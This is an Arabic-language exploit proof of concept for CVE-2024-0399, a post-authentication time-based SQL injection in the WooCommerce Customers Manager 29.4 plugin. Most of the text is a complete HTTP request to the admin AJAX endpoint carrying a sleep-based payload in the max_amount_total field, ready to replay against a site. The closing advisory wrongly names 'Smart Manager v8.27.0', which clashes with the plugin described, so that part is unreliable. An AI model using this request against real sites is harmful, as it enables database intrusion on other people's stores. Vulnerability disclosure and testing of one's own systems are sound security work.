
إثبات مفهوم لاستغلال CVE-2024-0399، وهي ثغرة حقن SQL زمني بعد المصادقة في WooCommerce Customers Manager 29.4، تستهدف معاملات مبلغ المعاملة عبر نقطة نهاية AJAX الخاصة بالمشرف.
عنوان الاستغلال: WooCommerce Customers Manager 29.4 - حقن SQL بعد المصادقة
التاريخ: 2024-03-25
مؤلف الاستغلال: Ivan Spiridonov - xbz0n
رابط البرنامج: https://codecanyon.net/item/woocommerce-customers-manager/10965432
الإصدار: 29.4
تم الاختبار على: Ubuntu 22.04
CVE: CVE-2024-0399
لا يقوم البرنامج المساعد بتعقيم وإفلات أحد المعاملات بشكل صحيح قبل استخدامه في جملة SQL، مما يؤدي إلى ثغرة حقن SQL قابلة للاستغلال من قبل دور Subscriber+.
تقع الثغرة داخل معاملات مبلغ المعاملة مثل 'max_amount' و'max_amount_total' و'min_amount' و'min_amount_total' المستخدمة في نقطة نهاية AJAX الخاصة بلوحة التحكم. من خلال حقن أوامر SQL في هذه المعاملات، يمكن للمهاجمين المصادَق عليهم التلاعب باستعلامات SQL مما يؤدي إلى ثغرة حقن SQL قائمة على الوقت.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://localhost/wp-admin/admin.php?page=wccm-discover-customer
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------2461714219322283440478088295
Content-Length: 1877
Origin: http://localhost
Connection: close
Cookie: Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="action"
wccm_get_orders_tot_num
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="start_date"
2024-01-09
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="end_date"
2024-01-11
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="customer_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="category_ids"
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="min_amount"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="max_amount"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="min_amount_total"
0
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="max_amount_total"
(select*from(select(sleep(20)))a)
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_relationship"
or
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_category_relationship"
or
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="product_category_filters_relationship"
and
-----------------------------2461714219322283440478088295
Content-Disposition: form-data; name="statuses"
wc-pending,wc-processing,wc-on-hold,wc-completed,wc-cancelled,wc-refunded,wc-failed,wc-checkout-draft
-----------------------------2461714219322283440478088295--
إذا تأخر استجابة الخادم حوالي 20 ثانية، فهذا يشير إلى نجاح استغلال ثغرة حقن SQL القائمة على الوقت، مما يؤكد وجود الثغرة.
يُنصح بشدة مستخدمو WooCommerce Customers Manager الإصدار 29.4 بتقييد الوصول إلى نقطة النهاية المتأثرة وتحديث البرنامج المساعد بمجرد إصدار نسخة مصححة. يعمل هذا التنبيه كإشعار لجميع مستخدمي Smart Manager v8.27.0 باتخاذ إجراء فوري لتحديث البرنامج المساعد الخاص بهم للحماية من ثغرة حقن SQL هذه.